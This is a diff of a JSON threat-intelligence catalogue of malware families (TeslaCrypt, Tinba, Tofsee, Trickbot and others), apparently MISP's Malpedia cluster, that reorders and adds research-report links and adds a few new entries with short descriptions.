"https://medium.com/@quoscient/the-chicken-keeps-laying-new-eggs-uncovering-new-gc-maas-tools-used-by-top-tier-threat-actors-531d80a6b4e9", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf" + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://github.com/eset/malware-ioc/tree/master/evilnum", + "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/", + "https://twitter.com/3xp0rtblog/status/1275746149719252992", + "https://quointelligence.eu/2020/07/golden-chickens-evolution-of-the-maas/" ], "synonyms": [ "SONE", @@ -44674,10 +47047,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.terra_tv", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://medium.com/@quoscient/the-chicken-keeps-laying-new-eggs-uncovering-new-gc-maas-tools-used-by-top-tier-threat-actors-531d80a6b4e9", "https://blog.minerva-labs.com/taurus-user-guided-infection", - "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/" + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/", + "https://medium.com/@quoscient/the-chicken-keeps-laying-new-eggs-uncovering-new-gc-maas-tools-used-by-top-tier-threat-actors-531d80a6b4e9" ], "synonyms": [ "Taurus Loader TeamViewer Module" @@ -44692,17 +47065,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.teslacrypt", - "https://community.riskiq.com/article/30f22a00", - "https://blogs.cisco.com/security/talos/teslacrypt", - "https://researchcenter.paloaltonetworks.com/2015/10/latest-teslacrypt-ransomware-borrows-code-from-carberp-trojan/", - "https://blog.christophetd.fr/malware-analysis-lab-with-virtualbox-inetsim-and-burp/", - "https://success.trendmicro.com/solution/1113900-emerging-threat-on-ransom-cryptesla", "https://securelist.com/teslacrypt-2-0-disguised-as-cryptowall/71371/", + "https://success.trendmicro.com/solution/1113900-emerging-threat-on-ransom-cryptesla", "https://www.welivesecurity.com/2015/12/16/nemucod-malware-spreads-ransomware-teslacrypt-around-world/", - "https://www.endgame.com/blog/technical-blog/your-package-has-been-successfully-encrypted-teslacrypt-41a-and-malware-attack", - "https://blog.checkpoint.com/wp-content/uploads/2016/05/Tesla-crypt-whitepaper_V3.pdf", + "https://blog.malwarebytes.com/threat-analysis/2016/03/teslacrypt-spam-campaign-unpaid-issue/", + "https://researchcenter.paloaltonetworks.com/2015/10/latest-teslacrypt-ransomware-borrows-code-from-carberp-trojan/", + "https://blogs.cisco.com/security/talos/teslacrypt", + "https://blog.christophetd.fr/malware-analysis-lab-with-virtualbox-inetsim-and-burp/", + "https://community.riskiq.com/article/30f22a00", "https://www.trendmicro.com/en_us/research/21/b/new-in-ransomware.html", - "https://blog.malwarebytes.com/threat-analysis/2016/03/teslacrypt-spam-campaign-unpaid-issue/" + "https://blog.checkpoint.com/wp-content/uploads/2016/05/Tesla-crypt-whitepaper_V3.pdf", + "https://www.endgame.com/blog/technical-blog/your-package-has-been-successfully-encrypted-teslacrypt-41a-and-malware-attack" ], "synonyms": [ "cryptesla" @@ -44717,8 +47090,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.tflower", - "https://cyber.gc.ca/en/alerts/tflower-ransomware-campaign", "https://www.sygnia.co/mata-framework", + "https://cyber.gc.ca/en/alerts/tflower-ransomware-campaign", "https://www.bleepingcomputer.com/news/security/tflower-ransomware-the-latest-attack-targeting-businesses/" ], "synonyms": [], @@ -44747,8 +47120,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.thanatos_ransom", - "https://www.bleepingcomputer.com/news/security/thanatos-ransomware-decryptor-released-by-the-cisco-talos-group/", "https://blog.talosintelligence.com/2018/06/ThanatosDecryptor.html", + "https://www.bleepingcomputer.com/news/security/thanatos-ransomware-decryptor-released-by-the-cisco-talos-group/", "https://www.bleepingcomputer.com/news/security/thanatos-ransomware-is-first-to-use-bitcoin-cash-messes-up-encryption/" ], "synonyms": [], @@ -44801,15 +47174,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.thunderx", + "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", + "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", "https://labs.sentinelone.com/ranzy-ransomware-better-encryption-among-new-features-of-thunderx-derivative/", "https://www.bleepingcomputer.com/news/security/thunderx-ransomware-rebrands-as-ranzy-locker-adds-data-leak-site/", - "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", - "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", + "https://www.picussecurity.com/resource/blog/a-detailed-walkthrough-of-ranzy-locker-ransomware-ttps", "https://www.ic3.gov/Media/News/2021/211026.pdf", "https://id-ransomware.blogspot.com/2020/08/thunderx-ransomware.html", - "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", "https://www.mandiant.com/resources/chasing-avaddon-ransomware", - "https://www.picussecurity.com/resource/blog/a-detailed-walkthrough-of-ranzy-locker-ransomware-ttps" + "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/" ], "synonyms": [ "Ranzy Locker" @@ -44836,9 +47209,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.tidepool", - "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf", "https://unit42.paloaltonetworks.com/atoms/shallowtaurus/", - "http://researchcenter.paloaltonetworks.com/2016/05/operation-ke3chang-resurfaces-with-new-tidepool-malware/" + "https://www.mandiant.com/resources/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs", + "http://researchcenter.paloaltonetworks.com/2016/05/operation-ke3chang-resurfaces-with-new-tidepool-malware/", + "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf" ], "synonyms": [], "type": [] @@ -44851,12 +47225,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.tiger_rat", - "https://securelist.com/andariel-evolves-to-target-south-korea-with-ransomware/102811/", - "https://www.krcert.or.kr/filedownload.do?attach_file_seq=3277&attach_file_id=EpF3277.pdf", - "https://www.brighttalk.com/webcast/18282/493986", + "https://www.attackiq.com/2023/01/05/emulating-the-highly-sophisticated-north-korean-adversary-lazarus-group/", + "https://blogs.vmware.com/security/2021/12/tigerrat-advanced-adversaries-on-the-prowl.html", "https://threatray.com/wp-content/uploads/2021/12/threatray-establishing-the-tigerrat-and-tigerdownloader-malware-families.pdf", - "https://blog.talosintelligence.com/2022/09/lazarus-magicrat.html", - "https://blogs.vmware.com/security/2021/12/tigerrat-advanced-adversaries-on-the-prowl.html" + "https://www.brighttalk.com/webcast/18282/493986", + "https://www.krcert.or.kr/filedownload.do?attach_file_seq=3277&attach_file_id=EpF3277.pdf", + "https://securelist.com/andariel-evolves-to-target-south-korea-with-ransomware/102811/", + "https://blog.talosintelligence.com/2022/09/lazarus-magicrat.html" ], "synonyms": [], "type": [] @@ -44882,20 +47257,20 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.tinba", - "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_w32-tinba-tinybanker.pdf", "http://stopmalvertising.com/malware-reports/mini-analysis-of-the-tinybanker-tinba.html", - "http://contagiodump.blogspot.com/2012/06/amazon.html", - "http://www.theregister.co.uk/2012/06/04/small_banking_trojan/", + "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_w32-tinba-tinybanker.pdf", "https://www.zscaler.com/blogs/research/look-recent-tinba-banking-trojan-variant", + "http://www.theregister.co.uk/2012/06/04/small_banking_trojan/", "https://securityblog.switch.ch/2015/06/18/so-long-and-thanks-for-all-the-domains/", + "http://garage4hackers.com/entry.php?b=3086", "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", + "https://blogs.blackberry.com/en/2019/03/blackberry-cylance-vs-tinba-banking-trojan", + "http://contagiodump.blogspot.com/2012/06/amazon.html", + "http://securityintelligence.com/tinba-malware-reloaded-and-attacking-banks-around-the-world/", + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", "https://blog.talosintelligence.com/2022/02/threat-roundup-0204-0211.html", "https://securityintelligence.com/tinba-trojan-sets-its-sights-on-romania/", - "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", - "http://securityintelligence.com/tinba-malware-reloaded-and-attacking-banks-around-the-world/", - "https://adalogics.com/blog/the-state-of-advanced-code-injections", - "http://garage4hackers.com/entry.php?b=3086", - "https://blogs.blackberry.com/en/2019/03/blackberry-cylance-vs-tinba-banking-trojan" + "https://adalogics.com/blog/the-state-of-advanced-code-injections" ], "synonyms": [ "Illi", @@ -44904,15 +47279,6 @@ ], "type": [] }, - "related": [ - { - "dest-uuid": "75f53ead-1aee-4f91-8cb9-b4170d747cfc", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "5eee35b6-bd21-4b67-b198-e9320fcf2c88", "value": "Tinba" }, @@ -44922,8 +47288,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.tinyloader", "https://www.proofpoint.com/us/threat-insight/post/abaddonpos-now-targeting-specific-pos-software", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", "https://www.forcepoint.com/sites/default/files/resources/files/report-tinypos-analysis-en.pdf", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", "https://www.proofpoint.com/us/threat-insight/post/AbaddonPOS-A-New-Point-Of-Sale-Threat-Linked-To-Vawtrak" ], "synonyms": [], @@ -44937,16 +47303,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.tinymet", - "https://twitter.com/VK_Intel/status/1273292957429510150", - "https://www.crowdstrike.com/blog/how-falcon-complete-stopped-a-big-game-hunting-ransomware-attack/", - "https://www.flashpoint-intel.com/blog/fin7-revisited:-inside-astra-panel-and-sqlrat-malware/", - "https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/using-qiling-framework-to-unpack-ta505-packed-samples/", - "https://www.crowdstrike.com/blog/how-falcon-complete-stopped-a-solarwinds-serv-u-exploit-campaign/", - "https://www.secureworks.com/research/threat-profiles/gold-niagara", - "https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-s-box-of-chocolate-597672", "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://www.crowdstrike.com/blog/how-falcon-complete-stopped-a-big-game-hunting-ransomware-attack/", "https://github.com/SherifEldeeb/TinyMet", - "https://www.fsec.or.kr/common/proc/fsec/bbs/163/fileDownLoad/2297.do" + "https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/", + "https://www.flashpoint-intel.com/blog/fin7-revisited:-inside-astra-panel-and-sqlrat-malware/", + "https://twitter.com/VK_Intel/status/1273292957429510150", + "https://www.secureworks.com/research/threat-profiles/gold-niagara", + "https://www.crowdstrike.com/blog/how-falcon-complete-stopped-a-solarwinds-serv-u-exploit-campaign/", + "https://www.fsec.or.kr/common/proc/fsec/bbs/163/fileDownLoad/2297.do", + "https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-s-box-of-chocolate-597672", + "https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/using-qiling-framework-to-unpack-ta505-packed-samples/" ], "synonyms": [ "TiniMet" @@ -44961,17 +47328,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.tinynuke", - "https://securityintelligence.com/the-nukebot-trojan-a-bruised-ego-and-a-surprising-source-code-leak/", - "https://benkowlab.blogspot.de/2017/08/quick-look-at-another-alina-fork-xbot.html", - "https://krebsonsecurity.com/tag/nuclear-bot/", - "https://krebsonsecurity.com/2019/12/nuclear-bot-author-arrested-in-sextortion-case/", - "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", "https://asec.ahnlab.com/en/27346/", - "https://www.bitsighttech.com/blog/break-out-of-the-tinynuke-botnet", - "https://asec.ahnlab.com/en/32781/", "https://www.arbornetworks.com/blog/asert/dismantling-nuclear-bot/", + "https://asec.ahnlab.com/en/32781/", + "https://krebsonsecurity.com/tag/nuclear-bot/", + "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", "https://securelist.com/the-nukebot-banking-trojan-from-rough-drafts-to-real-threats/78957/", - "https://forums.juniper.net/t5/Threat-Research/Nukebot-Banking-Trojan-targeting-people-in-France/ba-p/326702" + "https://www.bitsighttech.com/blog/break-out-of-the-tinynuke-botnet", + "https://forums.juniper.net/t5/Threat-Research/Nukebot-Banking-Trojan-targeting-people-in-France/ba-p/326702", + "https://securityintelligence.com/the-nukebot-trojan-a-bruised-ego-and-a-surprising-source-code-leak/", + "https://krebsonsecurity.com/2019/12/nuclear-bot-author-arrested-in-sextortion-case/", + "https://benkowlab.blogspot.de/2017/08/quick-look-at-another-alina-fork-xbot.html" ], "synonyms": [ "MicroBankingTrojan", @@ -44989,21 +47356,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.tinytyphon", - "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf", - "https://www.forcepoint.com/blog/x-labs/monsoon-analysis-apt-campaign" + "https://www.forcepoint.com/blog/x-labs/monsoon-analysis-apt-campaign", + "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "1b591586-e1ef-4a32-8dae-791aca5ddf41", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "d2414f4a-1eda-4d80-84d3-ed130ca14e3c", "value": "TinyTyphon" }, @@ -45012,22 +47370,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.tinyzbot", - "https://www.secureworks.com/research/threat-profiles/cobalt-gypsy", "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf", - "https://know.netenrich.com/threatintel/threat_actor/Cutting%20Kitten" + "https://know.netenrich.com/threatintel/threat_actor/Cutting%20Kitten", + "https://www.secureworks.com/research/threat-profiles/cobalt-gypsy" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "e2cc27a2-4146-4f08-8e80-114a99204cea", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "b933634f-81d0-41ef-bf2f-ea646fc9e59c", "value": "TinyZbot" }, @@ -45057,22 +47406,36 @@ "uuid": "c34091df-0df2-4ef6-bf69-c67eb711f6d8", "value": "Tiop" }, + { + "description": "Information stealer written in Go.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.titan_stealer", + "https://www.uptycs.com/blog/titan-stealer-telegram-malware-campaign", + "https://blog.bushidotoken.net/2022/11/detecting-and-fingerprinting.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "0a98f387-885e-4ad4-b5ab-686f4c06dcf1", + "value": "TitanStealer" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.tmanger", - "https://insight-jp.nttsecurity.com/post/102gi9b/pandas-new-arsenal-part-1-tmanger", - "https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia", - "https://vblocalhost.com/uploads/VB2020-20.pdf", - "https://labs.sentinelone.com/thundercats-hack-the-fsb-your-taxes-didnt-pay-for-this-op/", - "https://vblocalhost.com/uploads/VB2020-Ozawa-etal.pdf", - "https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop", - "https://insight-jp.nttsecurity.com/post/102glv5/pandas-new-arsenal-part-3-smanager", - "https://www.sentinelone.com/labs/thundercats-hack-the-fsb-your-taxes-didnt-pay-for-this-op", "https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop/", + "https://vblocalhost.com/uploads/VB2020-Ozawa-etal.pdf", "https://www.youtube.com/watch?v=1WfPlgtfWnQ", - "https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/" + "https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/", + "https://insight-jp.nttsecurity.com/post/102glv5/pandas-new-arsenal-part-3-smanager", + "https://labs.sentinelone.com/thundercats-hack-the-fsb-your-taxes-didnt-pay-for-this-op/", + "https://vblocalhost.com/uploads/VB2020-20.pdf", + "https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop", + "https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia", + "https://www.sentinelone.com/labs/thundercats-hack-the-fsb-your-taxes-didnt-pay-for-this-op", + "https://insight-jp.nttsecurity.com/post/102gi9b/pandas-new-arsenal-part-1-tmanger" ], "synonyms": [ "LuckyBack" @@ -45083,17 +47446,29 @@ "value": "Tmanger" }, { - "description": "", + "description": "According to PCrisk, Tofsee (also known as Gheg) is a malicious Trojan-type program that is capable of performing DDoS attacks, mining cryptocurrency, sending emails, stealing various account credentials, updating itself, and more.\r\n\r\nCyber criminals mainly use this program as an email-oriented tool (they target users' email accounts), however, having Tofsee installed can also lead to many other problems.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.tofsee", - "https://lokalhost.pl/txt/peering.into.spam.botnets.VirusBulletin2017.pdf", "https://www.dragos.com/blog/investigating-the-watering-hole-linked-to-the-oldsmar-water-treatment-facility-breach/", - "https://www.cert.pl/en/news/single/tofsee-en/", - "https://blog.talosintelligence.com/2022/02/threat-roundup-0204-0211.html", - "https://www.cert.pl/en/news/single/a-deeper-look-at-tofsee-modules/", + "https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf", + "https://www.spamhaus.com/resource-center/neutralizing-tofsee-spambot-part-1-binary-file-vaccine/", "https://intel471.com/blog/privateloader-malware", - "https://zerophagemalware.com/2017/03/24/terror-ek-delivers-tofsee-spambot/" + "https://www.virusbulletin.com/virusbulletin/2014/04/tofsee-botnet", + "https://www.spamhaus.com/resource-center/neutralizing-tofsee-spambot-part-3-network-based-kill-switch/", + "https://gist.github.com/larsborn/0ec24d7b294248c51de0c3335802cbd4", + "https://www.spamhaus.com/resource-center/neutralizing-tofsee-spambot-part-2-inmemoryconfig-store-vaccine/", + "https://www.govcert.ch/blog/tofsee-spambot-features-.ch-dga-reversal-and-countermesaures/", + "https://zerophagemalware.com/2017/03/24/terror-ek-delivers-tofsee-spambot/", + "https://blog.talosintelligence.com/2022/02/threat-roundup-0204-0211.html", + "https://www.cert.pl/en/news/single/tofsee-en/", + "https://blog.talosintelligence.com/tofsee-spam/", + "https://web.archive.org/web/20090428005953/http://www.marshal8e6.com/trace/i/Gheg,spambot.897~.asp", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf", + "https://lokalhost.pl/txt/peering.into.spam.botnets.VirusBulletin2017.pdf", + "https://www.cert.pl/en/news/single/a-deeper-look-at-tofsee-modules/", + "https://www.bitsight.com/blog/tofsee-botnet-proxying-and-mining" ], "synonyms": [ "Gheg" @@ -45122,7 +47497,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.tomiris", - "https://securelist.com/darkhalo-after-solarwinds-the-tomiris-connection/104311/" + "https://securelist.com/darkhalo-after-solarwinds-the-tomiris-connection/104311/", + "https://securelist.com/tomiris-called-they-want-their-turla-malware-back/109552/" ], "synonyms": [], "type": [] @@ -45135,9 +47511,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.tonedeaf", - "https://intezer.com/blog-new-iranian-campaign-tailored-to-us-companies-uses-updated-toolset/", + "https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/", "https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html", - "https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/" + "https://intezer.com/blog-new-iranian-campaign-tailored-to-us-companies-uses-updated-toolset/" ], "synonyms": [], "type": [] @@ -45145,6 +47521,19 @@ "uuid": "77e29e3a-d4a3-4692-b1f8-38ad6dc1af1d", "value": "TONEDEAF" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.toneshell", + "https://www.trendmicro.com/en_us/research/22/k/earth-preta-spear-phishing-governments-worldwide.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "83bfa615-a1d4-4b61-bda0-beb560d24a97", + "value": "TONESHELL" + }, { "description": "", "meta": { @@ -45159,15 +47548,28 @@ "uuid": "a7590aa5-d9fb-449f-8a5e-5233077b736e", "value": "Tonnerre" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.topinambour", + "https://securelist.com/tomiris-called-they-want-their-turla-malware-back/109552/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "fcc49738-f801-47ff-977b-9e368bc85273", + "value": "Topinambour" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.torisma", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-behind-the-scenes/", + "http://blog.nsfocus.net/stumbzarus-apt-lazarus/", "https://blogs.jpcert.or.jp/en/2021/01/Lazarus_malware2.html", "https://global.ahnlab.com/global/upload/download/asecreport/ASEC%20REPORT_vol.102_ENG%20(4).pdf", - "http://blog.nsfocus.net/stumbzarus-apt-lazarus/" + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-behind-the-scenes/" ], "synonyms": [], "type": [] @@ -45180,8 +47582,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.torrentlocker", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", - "http://www.bleepingcomputer.com/forums/t/547708/torrentlocker-ransomware-cracked-and-decrypter-has-been-made/" + "http://www.bleepingcomputer.com/forums/t/547708/torrentlocker-ransomware-cracked-and-decrypter-has-been-made/", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf" ], "synonyms": [ "Teerac" @@ -45191,13 +47593,39 @@ "uuid": "7f6cd579-b021-4896-80da-fcc07c35c8b2", "value": "TorrentLocker" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.touchmove", + "https://www.mandiant.com/resources/blog/lightshow-north-korea-unc2970" + ], + "synonyms": [], + "type": [] + }, + "uuid": "39ecb19e-790b-475b-85db-ef4c7f9c9dce", + "value": "TOUCHMOVE" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.touchshift", + "https://www.mandiant.com/resources/blog/lightshow-north-korea-unc2970" + ], + "synonyms": [], + "type": [] + }, + "uuid": "accbbc7e-43f1-4232-90be-6c1fe90cbccf", + "value": "TOUCHSHIFT" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.toxiceye", - "https://www.bollyinside.com/articles/how-rat-malware-is-using-telegram-to-evade-detection/", - "https://blog.checkpoint.com/2021/04/22/turning-telegram-toxic-new-toxiceye-rat-is-the-latest-to-use-telegram-for-command-control/" + "https://blog.checkpoint.com/2021/04/22/turning-telegram-toxic-new-toxiceye-rat-is-the-latest-to-use-telegram-for-command-control/", + "https://www.bollyinside.com/articles/how-rat-malware-is-using-telegram-to-evade-detection/" ], "synonyms": [], "type": [] @@ -45205,16 +47633,29 @@ "uuid": "0d445373-d520-4b67-9066-72f23452c774", "value": "ToxicEye" }, + { + "description": "According to Trend Micro, this is a backdoor abusing the Dropbox API, used by threat actor Earth Yako.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.transbox", + "https://www.trendmicro.com/en_us/research/23/b/invitation-to-secret-event-uncovering-earth-yako-campaigns.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "e4d4af34-835a-4e39-b9e2-eb2456e5fce3", + "value": "TransBox" + }, { "description": "tRat is a modular RAT written in Delphi and has appeared in campaigns in September and October of 2018.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.trat", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf", - "https://www.gdatasoftware.com/blog/trat-control-via-smartphone", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", "https://www.proofpoint.com/us/threat-insight/post/trat-new-modular-rat-appears-multiple-email-campaigns", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf" + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", + "https://www.gdatasoftware.com/blog/trat-control-via-smartphone" ], "synonyms": [], "type": [] @@ -45227,9 +47668,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.treasurehunter", - "http://adelmas.com/blog/treasurehunter.php", "https://www.flashpoint-intel.com/blog/treasurehunter-source-code-leaked/", - "https://www.fireeye.com/blog/threat-research/2016/03/treasurehunt_a_cust.html" + "https://www.fireeye.com/blog/threat-research/2016/03/treasurehunt_a_cust.html", + "http://adelmas.com/blog/treasurehunter.php" ], "synonyms": [ "huntpos" @@ -45244,280 +47685,284 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.trickbot", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/trickbot-botnet-ransomware-disruption", - "https://blog.talosintelligence.com/2020/03/trickbot-primer.html", - "https://f5.com/labs/articles/threat-intelligence/malware/trickbot-expands-global-targets-beyond-banks-and-payment-processors-to-crms", - "https://www.bleepingcomputer.com/news/security/emotet-trickbot-malware-duo-is-back-infecting-windows-machines/", - "https://www.fortinet.com/blog/threat-research/global-malicious-spam-campaign-using-black-lives-matter-as-a-lure", - "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "https://umbrella.cisco.com/blog/navigating-cybersecurity-during-a-pandemic-latest-malware-and-threat-actors", - "https://www.bleepingcomputer.com/news/security/trickbot-now-steals-windows-active-directory-credentials/", - "https://www.europol.europa.eu/newsroom/news/12-targeted-for-involvement-in-ransomware-attacks-against-critical-infrastructure", - "https://www.ic3.gov/Media/News/2022/220120.pdf", - "https://blog.fraudwatchinternational.com/malware/trickbot-malware-works", - "https://na.eventscloud.com/file_uploads/6568237bca6dc156e5c5557c5989e97c_CrowdStrikeFal.Con2019_ThroughEyesOfAdversary_J.Ayers.pdf", - "https://therecord.media/us-arrests-latvian-woman-who-worked-on-trickbot-malware-source-code/", - "https://www.kryptoslogic.com/blog/2022/01/deep-dive-into-trickbots-web-injection/", - "https://www.domaintools.com/resources/blog/tracking-a-trickbot-related-ransomware-incident", - "https://community.riskiq.com/article/111d6005/description", - "https://thedfirreport.com/2021/01/11/trickbot-still-alive-and-well/", - "https://thehackernews.com/2022/02/trickbot-gang-likely-shifting.html", - "https://www.gosecure.net/blog/2021/12/03/trickbot-leverages-zoom-work-from-home-interview-malspam-heavens-gate-and-spamhaus/", - "https://therecord.media/trickbot-gang-shuts-down-botnet-after-months-of-inactivity/", - "https://www.blueliv.com/research/trickbot-banking-trojan-using-eflags-as-an-anti-hook-technique/", - "https://blog.talosintelligence.com/2021/10/threat-hunting-in-large-datasets-by.html", - "https://www.crowdstrike.com/blog/sin-ful-spiders-wizard-spider-and-lunar-spider-sharing-the-same-web/", - "https://www.intrinsec.com/deobfuscating-hunting-ostap/", - "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", - "https://www.webroot.com/blog/2018/03/21/trickbot-banking-trojan-adapts-new-module/", - "https://www.netscout.com/blog/asert/dropping-anchor", - "https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/Lageberichte/Lagebericht2020.pdf?__blob=publicationFile&v=2", - "https://www.youtube.com/watch?v=EyDiIAt__dI", - "https://securityintelligence.com/posts/trickbot-survival-instinct-trickboot-version/", - "https://unit42.paloaltonetworks.com/trickbot-campaign-uses-fake-payroll-emails-to-conduct-phishing-attacks/", - "https://us-cert.cisa.gov/ncas/alerts/aa21-076a", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", - "https://research.checkpoint.com/2021/when-old-friends-meet-again-why-emotet-chose-trickbot-for-rebirth/", - 